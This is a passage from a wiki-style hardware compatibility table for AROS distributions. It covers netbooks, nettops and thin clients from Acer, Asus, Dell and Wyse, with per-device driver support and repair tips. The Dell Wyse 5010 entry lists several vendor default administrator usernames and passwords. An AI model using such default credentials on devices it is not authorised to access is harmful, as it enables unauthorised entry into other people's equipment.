| &lt;!--Name--&gt;Fujitsu Siemens Amilo Mini Ui 3520 || &lt;!--Chipset--&gt;Intel 945 || &lt;!--ACPI--&gt; || &lt;!--SATA--&gt;{{yes}} || &lt;!--Gfx--&gt;{{yes|Intel GMA (2D)}} || &lt;!--Audio--&gt;ALC269 HD Audio || &lt;!--USB--&gt;{{yes}} || &lt;!--Ethernet--&gt;{{yes|rtl8169}} || &lt;!--Wireless--&gt;{{yes|AR5001}} || &lt;!--Test Distro--&gt;untested || &lt;!--Comments--&gt;2009 32bit -  
|-
| Guillemot Hercules eCafe EC-900 H60G-IA], Mitac MiStation and Pioneer Computers Dreambook Light U11 IL1 || Intel 945GME || {{N/A}} || {{maybe}} || {{yes|Intel GMA950 (2D)}} || {{Yes|HD Audio (playback only)}} || {{yes|uhci and ehci}} || {{yes|rtl8169}} || {{no|RAlink RT2860}} || untested || 2009 32bit - 
|-
| &lt;!--Name--&gt;Hannspree Hannsnote SN10E2 24 48 || &lt;!--Chipset--&gt;N450 + NM10  || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;IDE legacy mode || &lt;!--Gfx--&gt;Pineview Intel (2D) || &lt;!--Audio--&gt;ALC HD Audio || &lt;!--USB--&gt;USB2.0 || &lt;!--Ethernet--&gt;Atheros l1c || &lt;!--Wireless--&gt;{{unk|Atheros AR9285}} || &lt;!--Test Distro--&gt;untested || &lt;!--Opinion--&gt;2009 32bit - 
|-
| MSI Wind U90/U100 || GME945 || {{N/A}} || {{maybe}} || {{yes|Intel GMA 950 (2D)}} || {{partial|HD Audio ALC888s (playback only?)}} || {{yes|uhci 1.1 and ehci 2.0}} || {{yes|rtl8169}} || {{no|RaLink RT2860 RT2700E or rtl8187se (u100x)}} || 2011 Icaros 1.3,  || 2009 32bit - 
|-
| Advent 4211 || 945GSE || {{N/A}} || {{maybe|IDE legacy mode}} || Intel GMA950 (2D) || ALC HD Audio || USB || rtl8169 || {{no|Intel 3945 ABG}} || untested || 2009 32bit - MSI U100 clone
|-
| &lt;!--Name--&gt;Hannspree Hannsnote SN10E1 || &lt;!--Chipset--&gt;N270 + GMA945 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|IDE legacy mode}} || &lt;!--Gfx--&gt;{{yes|Intel GMA 950 (2D)}} || &lt;!--Audio--&gt;ALC HD Audio || &lt;!--USB--&gt;USB2.0 || &lt;!--Ethernet--&gt;{{yes|Realtek RTL8101E RTL8102E RTL8169}} || &lt;!--Wireless--&gt;{{no|RaLink RT2860}} || &lt;!--Test Distro--&gt;untested || &lt;!--Comments--&gt;2009 32bit MSI U100 clone 
|-
| &lt;!--Name--&gt; Vaio VGN-P11Z
| &lt;!--Chipset--&gt;
| &lt;!--IDE--&gt; {{dunno}}
| &lt;!--SATA--&gt; {{N/A}}
| &lt;!--Gfx--&gt; {{Partial|Intel (VESA only)}}
| &lt;!--Audio--&gt; {{no|HD Audio}}
| &lt;!--USB--&gt; {{yes|USB 2.0}}
| &lt;!--Ethernet--&gt; {{no|Marvell}}
| &lt;!--Wireless--&gt; {{unk|Atheros AR928X}}
| &lt;!--Test Distro--&gt;2012 Icaros 2.0.3
| &lt;!--Comments--&gt;2008 32bit Rarely boots!
|-
| &lt;!--Name--&gt;Sony VPC-W11S1E
| &lt;!--Chipset--&gt;N280 with 945GSE
| &lt;!--IDE--&gt;{{N/A}} 
| &lt;!--SATA--&gt;{{Yes| }}
| &lt;!--Gfx--&gt;{{yes|Intel GMA950 - hdmi}}
| &lt;!--Audio--&gt;HD Audio with realtek codec
| &lt;!--USB--&gt;3 USB2 
| &lt;!--Ethernet--&gt;{{No|Atheros AR8132}}
| &lt;!--Wireless--&gt;{{unk|Atheros AR9285}}
| &lt;!--Test Distro--&gt;untested
| &lt;!--Comments--&gt;2009 32bit - 10.1&quot; 1366 x 768 glossy - 3hr battery life - 
|-
| &lt;!--Name--&gt;Archos 10 Netbook || &lt;!--Chipset--&gt;Atom with ICH7 NM10 945GSE || &lt;!--IDE--&gt;{{No }} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;GMA 950 || &lt;!--Audio--&gt;HD Audio with ALC662 codec || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Realtek 8139 || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt;untested || &lt;!--Comments--&gt;2008 32bit - 
|-
| &lt;!--Name--&gt;MSI Wind U135 DX MS-N014 || &lt;!--Chipset--&gt;Intel N455 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{Yes|2D only accelerated}} || &lt;!--Audio--&gt;{{No|ALC662 rev 1}} || &lt;!--USB--&gt;{{Yes| }} || &lt;!--Ethernet--&gt;{{Maybe|RTL}} || &lt;!--Wireless--&gt;{{No|Atheros AR 9K}}  || &lt;!--Test Distro--&gt;2015 Icaros 2.1,  || &lt;!--Comments--&gt;2009 32bit - needs noacpi notls added to grub boot line to start up 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
|}

===Desktop Systems===

[[#top|...to the top]]


{| class=&quot;wikitable sortable&quot; width=&quot;100%&quot;
| &lt;!--OK--&gt;{{Yes|'''Works well'''}} || &lt;!--May work--&gt;{{Maybe|'''Works a little'''}} || &lt;!--Not working--&gt;{{No|'''Does not work'''}} || &lt;!--Not applicable--&gt;{{N/A|'''N/A not applicable'''}}
|-
|}


====Acer====
{| class=&quot;wikitable sortable&quot; width=&quot;100%&quot;
! width=&quot;15%&quot; |Name
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;10%&quot; |Integrated Gfx
! width=&quot;10%&quot; |Audio
! width=&quot;10%&quot; |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;5%&quot; |Test Distro
! width=&quot;20%&quot; |Comments
|-
| &lt;!--Name--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;[https://www.acer.com/ac/en/ID/content/support-product/486;-; Veriton X270 VTX270] Intel Core 2 Duo ED7400C or Pentium dual-core UD7600C with 630i 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;{{Maybe|Vesa 2d Nvidia 7100 VGA and HDMI connections}}
| &lt;!--Audio--&gt;{{Maybe|  with realtek codec}}
| &lt;!--USB--&gt;{{Maybe|4 rear and 5 front}}
| &lt;!--Ethernet--&gt;{{Maybe| nForce}}
| &lt;!--Test Distro--&gt;Icaros 2.3 dvd 
| &lt;!--Comments--&gt;2009 64bit capable but would not fully boot, DHCP address timeout too short and failed often. Put in a third party NIC, worked - 1 PCI Express x16 slot and a free PCI x1 slot - internal thin long psu with 12pin - 
|-
| &lt;!--Name--&gt; Imedia S1710 with Intel Dual Core E5200
| &lt;!--IDE--&gt; {{Yes|SATA/AHCI}}
| &lt;!--SATA--&gt; {{Maybe|Native IDE}}
| &lt;!--Gfx--&gt; {{Yes|Nvidia nForce 7100}}
| &lt;!--Audio--&gt; {{Yes|Nvidia MCP73}}
| &lt;!--USB--&gt; {{Yes|USB 2.0}}
| &lt;!--Ethernet--&gt; {{No|NVIDIA MCP73 Ethernet}}
| &lt;!--Test Distro--&gt; Nightly Build 14-09-2023, AROS One 2.3
| &lt;!--Comments--&gt; 2009 64-bit - Boot over USB not working on front - 2 DDR2 dual channel max 8GB - DEL for entering Bios - F12 for boot menu - Bus weird, could be reason for Ethernet issue 
|-
| &lt;!--Name--&gt;Acer Revo AR1600, R1600 AR3600, R3600, Packard Bell IMAX Mini N3600, ACER Veriton N260G N270G slim nettop subcompact 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;{{Maybe|Native IDE mode, '''when it works''' boots}}
| &lt;!--Gfx--&gt;{{Maybe|Nvidia ION GeForce 9300M - nouveau 3d - '''when it boots''' 400 fps in shell'ed gearbox, 278 in tunnel, 42 in teapot}}
| &lt;!--Audio--&gt;{{Maybe|HD Audio with alc662 codec but nothing from HDMI audio}}
| &lt;!--USB--&gt;{{Maybe|Nvidia USB boot usb2 stick issues and slower with usb3 drives}}
| &lt;!--Ethernet--&gt;{{No|MCP79 nForce}}
| &lt;!--Test Distro--&gt;ArosOne 32bit very often boot stuck around ehciInit, 64bit ...
| &lt;!--Comments--&gt;2009 64bit does not support AVX or SSE 4.1 Intel Atom 230 N280 - 20cm/8&quot; high 1 ltr noisy fan - DEL setup F12 boot options - 2 ddr2 sodimm slots max 4GB - 19v special barrel size 5.5mm/1.7mm psu - 2 ddr2 sodimm slots max 4GB - atheros 5k AR5BXB63 wifi - 3 wire CMOS coin battery - 
|-
| &lt;!--Name--&gt;Revo AR3610 R3610 3610 Atom 330 nettop subcompact dual core 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;{{Maybe|Native IDE mode, '''when it works''' boots}}
| &lt;!--Gfx--&gt;{{Maybe|Nvidia ION GeForce 9400M LE MCP79MX 0x10de 0x087d - nouveau 3d - '''when it boots''' 400 fps in shell'ed gearbox, 278 in tunnel, 42 in teapot}}
| &lt;!--Audio--&gt;{{Yes|HD Audio with Realtek alc662 rev1 alc662-hd later ALC885 codec but nothing from HDMI audio}}
| &lt;!--USB--&gt;{{Maybe|Nvidia USB with 1% chance slow boot with usb2 sticks, more issues with usb3 drives}}
| &lt;!--Ethernet--&gt;{{No|RTL8211CL MCP79 nForce 0x10de 0x0ab0}}
| &lt;!--Test Distro--&gt;AROS One 32bit 1.5, 1.6 and 2.4 usb around ehciInit or Kernel SATA, etc try ATA=off, and 64bit 1.2 USB boot often stuck at device 0x00000000b05228c8 interrrupt by using noacpi noiopica 
| &lt;!--Comments--&gt;2010 64bit does not support AVX or SSE 4.1 20cm/8&quot; high 1 ltr noisy fan - non usb hub keyboard  - DEL bios setup, F12 BBS POPUP/drive boot - 2 ddr2 sodimm slots max 4GB - 19v barrel psu with smaller inner pin size 5.5mm/1.7mm - replace wifi RT3090 ver c (0x1814 0x3090) with atheros 5k - 3 wire CMOS coin battery - 
|-
| &lt;!--Name--&gt;Revo N281G
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;{{Maybe| }}
| &lt;!--Gfx--&gt;{{maybe|GMA 2d for GMA 3100}} 
| &lt;!--Audio--&gt;HD audio  codec 
| &lt;!--USB--&gt;USB2  
| &lt;!--Ethernet--&gt;Realtek  
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2011 64bit does not support AVX and SSE 4.1 Atom D425 - 19v 65w barrel psu thinner inner pin - 2 DDR3L single channel max 4GB - replace wifi RT3090 ver d with atheros 5k mini pci-e - 1lr or 1.5 ltr dvdrw case 209.89 mm, (D) 209.89 mm, (H) 35.35 mm - del enter bios - 3 wire CMOS coin battery - 
|-
| &lt;!--Name--&gt;REVO AR3700 R3700 3700 - ACER Veriton N282G 
*one long beep with two short - bios damaged 
*looping one long two short - video card fault 
*two short beeps - CMOS damaged 
*got one long and one short beep - board error?
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;{{Yes|IDE ready in Bios
* Known issue, boot into bios, set bios to UEFI and reboot, set bios back to defaults and reboot, blank display, repair with reflash of 8 pin Winbond W25Q socketed bios chip with ch341a using P01.B0L or P01.A4 renamed amiboot.rom}}
| &lt;!--Gfx--&gt;{{Yes|Nvidia ION2 GT218 9400M class 0x10de 0x0a64 with vga fine but hdmi fussy over cable and display port used - 32bit nouveau 2d &amp; 3d gearbox 404 tunnel 292 teapot 48 - 64bit not detected}}
| &lt;!--Audio--&gt;{{Yes|HDA Intel with Realtek ALC662 rev1 codec 0x10ec 0x0662, head phones only but nothing from NVidia HDMI 0x10de 0x000b}}
| &lt;!--USB--&gt;{{Yes|Intel® NM10 Express (NM10 is basically an ICH7 with a die shrink and IDE removed) USB boots usb, installs usb, accesses ok}}
| &lt;!--Ethernet--&gt;{{Yes|rtl8169 Realtek rtl8111g}}
| &lt;!--Test Distro--&gt;AROS one 32bit USB 1.5 and 1.6 and ArosOne 64bit usb 1.2 
| &lt;!--Comments--&gt;2011 Atom D525 64bit does not support AVX or SSE 4.1 - 20cm/8&quot; high 1 ltr noisy fan - early 2 ddr2 sodimm slots but later 2 ddr3 sodimm slots 1Rx8 max 4GB - 19v barrel psu thinner pin - replace wifi RT3090 ver d with atheros 5k mini pci-e - cmos 3pin cr2032CL plastic wrapped - del bios f12 boot choice - 
|-
| &lt;!--Name--&gt;Revo 70 (RL70) with or without dvdrw 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;6320 or 6310 
| &lt;!--Audio--&gt;HD audio ALC662-VCO-GR codec 
| &lt;!--USB--&gt;USB2, 1.1 Hudson D1 
| &lt;!--Ethernet--&gt;Realtek 8111E 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2012 64bit does not support AVX or SSE 4.1 AMD E450 1.65GHz - 19v 65w barrel psu thinner inner pin - 2 DDR3L single channel max 4GB - replace wifi RT3090 ver d with atheros 5k mini pci-e - 1lr or 1.5 ltr dvdrw case 209.89 mm, (D) 209.89 mm, (H) 35.35 mm - del enter bios - 
|-
|}

====Asus====

{| class=&quot;wikitable sortable&quot; width=&quot;100%&quot;
! width=&quot;15%&quot; |Name
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;10%&quot; |Integrated Gfx
! width=&quot;10%&quot; |Audio
! width=&quot;10%&quot; |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;5%&quot; |Test Distro
! width=&quot;20%&quot; |Comments
|-
| &lt;!--Name--&gt;EEEbox B202
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;Intel GMA950  
| &lt;!--Audio--&gt;Intel Azalia HDaudio with Realtek ALC662 or ALC888-GR CODEC 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Realtek 8111 or JM250 
| &lt;!--Test Distro--&gt;Icaros 
| &lt;!--Comments--&gt;internal 3 types of wifi chipset not supported 
|-
| &lt;!--Name--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;
|-
|}


====Dell====

{| class=&quot;wikitable sortable&quot; width=&quot;100%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;10%&quot; |Integrated Gfx
! width=&quot;10%&quot; |Audio
! width=&quot;10%&quot; |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;5%&quot; |Test Distro
! width=&quot;20%&quot; |Comments
|-
| &lt;!--Name--&gt; Precision 340
| &lt;!--IDE--&gt; {{yes}}
| &lt;!--SATA--&gt; {{n/a}}
| &lt;!--Gfx--&gt; {{n/a}}
| &lt;!--Audio--&gt; {{yes|Intel AC97}}
| &lt;!--USB--&gt; {{yes|USB 1.1 (UHCI)}}
| &lt;!--Ethernet--&gt; {{yes|3Com}}
| &lt;!--Test Distro--&gt; Nightly Build 2014 09-27
| &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;Dimension 2400
| &lt;!--IDE--&gt;{{Yes}}
| &lt;!--SATA--&gt;{{N/A}}
| &lt;!--Gfx--&gt;{{Yes|Intel 82845GL Brookdale G/GE (VESA 640x480 by 16)}}
| &lt;!--Audio--&gt;{{Unk|AC97 with ADI codec}}
| &lt;!--USB--&gt;{{Yes|UHCI EHCI}}
| &lt;!--Ethernet--&gt;{{Maybe|Broadcom 440x 4401}}
| &lt;!--Test Distro--&gt;[http://eab.abime.net/showthread.php?p=832495 Icaros 1.4]
| &lt;!--Comments--&gt;Graphics chipset is capable of higher resolution.
|-
| &lt;!--Name--&gt;Dimension 4600
| &lt;!--IDE--&gt;{{yes}}
| &lt;!--SATA--&gt;{{dunno}}
| &lt;!--Gfx--&gt;{{partial|Intel Extreme (VESA only)}}
| &lt;!--Audio--&gt;{{yes|Intel AC97 (use rear black port)}}
| &lt;!--USB--&gt;{{Yes|UHCI/EHCI}}
| &lt;!--Ethernet--&gt;{{yes|Intel PRO/100}}
| &lt;!--Test Distro--&gt;Icaros 1.5.2
| &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; Optiplex 170L
| &lt;!--IDE--&gt; {{yes|IDE}}
| &lt;!--SATA--&gt; {{partial|IDE mode}}
| &lt;!--Gfx--&gt; {{partial|Intel Extreme (VESA only)}}
| &lt;!--Audio--&gt; {{no|Intel AC97}}
| &lt;!--USB--&gt; {{yes|USB 2.0}}
| &lt;!--Ethernet--&gt; {{yes|Intel PRO/100}}
| &lt;!--Test Distro--&gt; {{dunno}}
| &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; Optiplex GX260
| &lt;!--IDE--&gt; {{yes|IDE}}
| &lt;!--SATA--&gt; {{N/A}}
| &lt;!--Gfx--&gt; {{partial|Intel Extreme (VESA only)}}
| &lt;!--Audio--&gt; {{yes|Intel AC97}}
| &lt;!--USB--&gt; {{yes|USB 2.0}}
| &lt;!--Ethernet--&gt; {{no|Intel PRO/1000}}
| &lt;!--Test Distro--&gt; Nightly Build 2014 09-27
| &lt;!--Comments--&gt;
|-
| Optiplex GX270
| {{yes|Working}}
| {{partial|IDE mode}}
| {{partial|Intel Extreme (VESA only)}}
| {{yes|Intel AC97}}
| {{yes|USB 2.0}}
| {{no|Intel PRO/1000}}
| Icaros 1.5.2
| &lt;!--Comments--&gt;
|-
| Optiplex GX280
| {{yes|Working}}
| {{partial|IDE mode}}
| {{maybe|Intel GMA (only VESA tested)}}
| {{yes|Intel AC97}}
| {{yes|USB 2.0}}
| {{no|Broadcom}}
| Nightly Build 2014 09-27
| &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; Optiplex GX520
| &lt;!--IDE--&gt; {{yes|IDE}}
| &lt;!--SATA--&gt; {{partial|IDE mode}}
| &lt;!--Gfx--&gt; {{yes|Intel GMA}}
| &lt;!--Audio--&gt; {{partial|Intel AC97 (no line-out)}}
| &lt;!--USB--&gt; {{yes|USB 2.0}}
| &lt;!--Ethernet--&gt; {{no|Broadcom}}
| &lt;!--Test Distro--&gt; {{dunno}}
| &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; Optiplex 745
| &lt;!--IDE--&gt; {{N/A}}
| &lt;!--SATA--&gt; {{partial|IDE mode}}
| &lt;!--Gfx--&gt; {{partial|Intel GMA (VESA only)}}
| &lt;!--Audio--&gt; {{partial|HD Audio (no volume control)}}
| &lt;!--USB--&gt; {{partial|Only keyboard mouse (legacy mode)}}
| &lt;!--Ethernet--&gt; {{no|Broadcom}}
| &lt;!--Test Distro--&gt; {{dunno}}
| &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; Optiplex 755
| &lt;!--IDE--&gt; {{N/A}}
| &lt;!--SATA--&gt; {{partial|IDE mode}}
| &lt;!--Gfx--&gt; {{partial|Intel GMA (VESA only)}}
| &lt;!--Audio--&gt; {{no|HD Audio}}
| &lt;!--USB--&gt; {{yes|USB 2.0}}
| &lt;!--Ethernet--&gt; {{no|Intel Gigabit}}
| &lt;!--Test Distro--&gt; Icaros 1.5.1
| &lt;!--Comments--&gt; Around 25 second delay in booting from USB 
|-
| &lt;!--Name--&gt; Optiplex 990
| &lt;!--IDE--&gt; {{N/A}}
| &lt;!--SATA--&gt; {{partial|non-RAID mode}}
| &lt;!--Gfx--&gt; {{partial|Intel HD (VESA only)}}
| &lt;!--Audio--&gt;{{no|HD Audio}}
| &lt;!--USB--&gt; {{yes|USB 2.0}}
| &lt;!--Ethernet--&gt; {{no|Intel Gigabit}}
| &lt;!--Test Distro--&gt; Nightly Build 2014 09-27
| &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;Optiplex 360
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;{{maybe|ordinary boot gives VGA mode only - VESA}}
| &lt;!--Audio--&gt;{{no|HD Audio (Analog Devices ID 194a)}}
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;{{no|Broadcom}}
| &lt;!--Test Distro--&gt;Aspire Xenon 
| &lt;!--Comments--&gt;poor support 
|-
| &lt;!--Name--&gt;Dell Wyse Vx0 (V90 V30), Vx0L (V10L V90L), Vx0LE (V30LE V90LE) from VIA C7 800GHz to Eden 1.2GHz 
| &lt;!--IDE--&gt;{{Maybe| }}
| &lt;!--SATA--&gt;{{N/A| }}
| &lt;!--Gfx--&gt;{{Maybe|Vesa 2d for S3 UniChrome Pro}}
| &lt;!--Audio--&gt;{{No|AC97 VIA VT8233A with ?? codec}}
| &lt;!--USB--&gt;{{yes|2 back and 1 front USB2}}
| &lt;!--Ethernet--&gt;{{Maybe|early models work but later VT6102-3 do not}}
| &lt;!--Test Distro--&gt;AROS One 2.2  
| &lt;!--Comments--&gt;2006 to 2009 32bit - 12V 4A Coax 5.5mm/2.1mm - 1 sodimm DDR 333MHz SO-DIMM later DDR2 - early V90s do seem to have a reliability problem - 
|-
| &lt;!--Name--&gt;[https://www.poppedinmyhead.com/2021/01/wyse-cx0-thin-client-notes-experiences.html Dell Wyse Cx0] C00LE, C10LE, C30LE, C50LE, C90LE, C90LE7, C90LEW VIA C7 Eden 1GHz 
| &lt;!--IDE--&gt;{{Maybe| }}
| &lt;!--SATA--&gt;{{N/A| }}
| &lt;!--Gfx--&gt;{{Maybe|Vesa 2d VX855 VX875 Chrome 9}}
| &lt;!--Audio--&gt;{{Maybe|some VIA VT8237A VT8251 HDA with ?? codec work}}
| &lt;!--USB--&gt;{{yes|4 outside 2 inside USB2}}
| &lt;!--Ethernet--&gt;{{No|VT6120 VT6121 VT6122 Gigabit}}
| &lt;!--Test Distro--&gt;Icaros 2.3 
| &lt;!--Comments--&gt;2010 to 2013 32bit - [https://ae.amigalife.org/index.php?topic=815.0 boots and works] - 12V 2.5A Coax 5.5mm/2.1mm - 1 sodimm ddr2 - 
|-
| &lt;!--Name--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || IDE || SATA || Gfx || Audio || USB || Ethernet || Test Distro || Comments 
|-
| &lt;!--Name--&gt;Dell RxxL Rx0L Wyse thin client 
*R00L	Cloud PC of Wyse WSM 
*R10L	Wyse Thin OS 
*R50L	Suse Linux Enterprise 
*R90L	Win XP Embedded 
*R90LW  Win Embedded Standard 2009 
*R90L7  Win Embedded Standard 7 
| &lt;!--IDE--&gt;128Mb IDE or 1GB 
| &lt;!--SATA--&gt;{{Maybe|SATA Hyperdisk}}
| &lt;!--Gfx--&gt;AMD 690E RS690M Radeon Xpress 1200 1250 1270
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;4 usb2 
| &lt;!--Ethernet--&gt;Realtek 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2009 64bit AMD Sempron™ 210U SMG210UOAX3DVE 1.5GHz SB600, up to 4GB single slot 240-pin DDR2 DIMM, 19v barrel psu, DEL key bios - Late 2012 2 data sockets added but only CN18 be used with two white sockets (CN13 &amp; CN15) can used to power the SATA device &quot;4-pin Micro JST 1.25mm 
|-
| &lt;!--Name--&gt;Optiplex 390 sff small form factor - mt mini tower desktop - dt full desktop
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;{{maybe|1 pci-e}}
| &lt;!--Audio--&gt;{{maybe|HD Audio}}
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;{{maybe|realtek}}
| &lt;!--Test Distro--&gt;aros one 1.6 usb 
| &lt;!--Comments--&gt;2011 64bit dual i3 2xxx - kettle iec plug psu cable - add nvidia gf218 gfx - error code 3 mobo or cpu - 
|-
| &lt;!--Name--&gt;Optiplex 3010 sff small form factor 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;{{maybe|1 pci-e}}
| &lt;!--Audio--&gt;{{maybe|HD Audio}}
| &lt;!--USB--&gt;{{maybe| }}
| &lt;!--Ethernet--&gt;{{no|Broadcom 57XX}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2012 64bit dual i3 3xxx - kettle iec plug psu cable - 
|-
| &lt;!--Name--&gt;Optiplex 7010 sff small form factor 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;{{maybe|1 pci-e}}
| &lt;!--Audio--&gt;{{maybe|HD Audio}}
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;{{no|Broadcom or Intel 825xx}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2012 64bit dual i3 3xxx Q77 - kettle iec plug psu cable - add pci-e ethernet and nvidia gf218 gfx - 
|-
| &lt;!--Name--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || IDE || SATA || Gfx || Audio || USB || Ethernet || Test Distro || Comments 
|-
| &lt;!--Name--&gt;Dell Wyse 5010 thin client ThinOS D class (D10D D00D D00DX, Dx0D), PCoIP (D10DP) or D90D7, 5040 
*username: Administrator, admin, [blank] 
*password: Fireport, DellCCCvdi, rappot, Wyse#123, Administrator, administrator, r@p8p0r+
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;{{Yes|IDE mode may need 30cm ext cable as small area for half-slim sata ssd - decased new ssd??}}
| &lt;!--Gfx--&gt;{{Maybe|Vesa 2d 1400x1050 HD6250E IGP by using DVI to hdmi cable and 1 display port, no hdmi port}}
| &lt;!--Audio--&gt;{{Maybe|HD 6.34 audio chipset detected but codec alc269 working from one case speaker -  none if v6.29 used}}
| &lt;!--USB--&gt;{{Yes|most 5010 have 4 USB 2.0 but D90Q7 has 2 USB3 instead}}
| &lt;!--Ethernet--&gt;{{Yes|rtl8169 Realtek 8168 8169 - rev 1.?? 8111? - rev 1.91 8111E}}
| &lt;!--Test Distro--&gt;Icaros 2.3
| &lt;!--Comments--&gt;2011 64bit no SSE4.1 or AVX slow AMD G-T44R 1.2Ghz later G-T48E 1.4Ghz Dual Bobcat Brazos BGA413 - Del for BIOS - p key to select boot with noacpi - single DDR3 sodimm slot max 4Gb, (8Gb hynix 2rx8 ddr3l)? (remove small board to upgrade) - passive no fan - 15cm/6&quot; small 1ltr case and lack of expansion options - PA16 19v barrel psu Coax 5.5mm/2.5mm 
|-
| &lt;!--Name--&gt;Dell Wyse 7010 DTS thin client (Z class Zx0D) 
*2011 Zx0 Z90D7 2GF/2GR
*2013 Z10D 
*2014 Z50D 2GF/2GR 
*2012 Cisco VXC 6000 CVXC-6215-K9 white 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;{{Yes|Bios set Sata mode to IDE mode and grub boot add 'noacpi' for half slim sata2 ssd or/with 50cm sata ext cable}}
| &lt;!--Gfx--&gt;{{Maybe|VESA 2d HD6310 HD6320 Terascale 2 through DVI and sometimes DP 1.1a - no hdmi port}}
| &lt;!--Audio--&gt;{{Maybe|HD Audio 6.34 detected but ALC269VB codec works on the one case speaker only}}
| &lt;!--USB--&gt;{{Yes|2.0 works but NEC 720200 3.0 not working}}
| &lt;!--Ethernet--&gt;{{Yes|rtl8169 Realtek 8169 8111e 8111F}}
| &lt;!--Test Distro--&gt;Icaros 2.3 and Aros One 32bit 1.5, 1.9 and 2.3 usb and 64bit 1.2 
| &lt;!--Comments--&gt;2011 64bit does not support AVX or SSE 4.1 slow AMD G-t52R 1.5GHz later G-T56N 1.65 GHz Dual with A50M FCH - 20cm/8&quot; high 1.5ltr larger fanless black plastic case with metal ventilated box inside - 2 desktop DDR3L DIMM slots max 16GB - PA-16 19v external psu Coax 5.5mm/2.5mm - 2 40cm SMA female WiFi Antenna to IPEX IPX u.fl Ufl Cable pigtail needed - does not like uefi boot devices - 
|-
| &lt;!--Name--&gt;Wyse 7020 Thin Client 
